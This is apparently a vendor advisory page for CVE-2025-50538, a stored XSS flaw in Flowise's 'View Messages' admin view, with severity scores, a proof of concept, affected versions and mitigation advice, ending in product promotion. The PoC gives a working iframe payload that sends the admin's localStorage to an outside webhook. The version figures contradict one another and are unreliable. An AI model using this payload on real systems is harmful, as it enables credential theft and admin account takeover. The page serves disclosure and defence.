CVE-2025-50538 is a high-severity (CVSS 8.2) Cross-site Scripting (XSS) vulnerability in flowise. EPSS puts its 30-day exploitation probability at 14.0% (96th percentile). A fix is available for flowise — see the affected versions and patch details below.
Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-50538.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-50538 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmDescription
Summary
A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.
Details
The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.
PoC
- Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
- Send the following payload via the agent's chat interface:
<iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> - As an admin, go to the workflow and click "View Messages".
- The JavaScript is executed in the admin's browser, exfiltrating
localStoragecontent to the attacker-controlled webhook endpoint.
Impact
- Type: Stored Cross-Site Scripting (XSS)
- Who is impacted: Any admin viewing messages in the FlowiseAI UI
- Data at risk: Admin credentials, or sensitive info stored in
localStorage - Severity: High (Account takeover, admin privilege escalation, full panel compromise)
Affected Products
- Ecosystem:
npm - Package name:
flowise - Affected versions:
< 2.2.7 - Patched versions:
1
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.0.8npm install flowise@3.0.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.0.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-50538 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-50538 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-50538. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-50538 in your dependencies?
O3 Security finds CVE-2025-50538 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.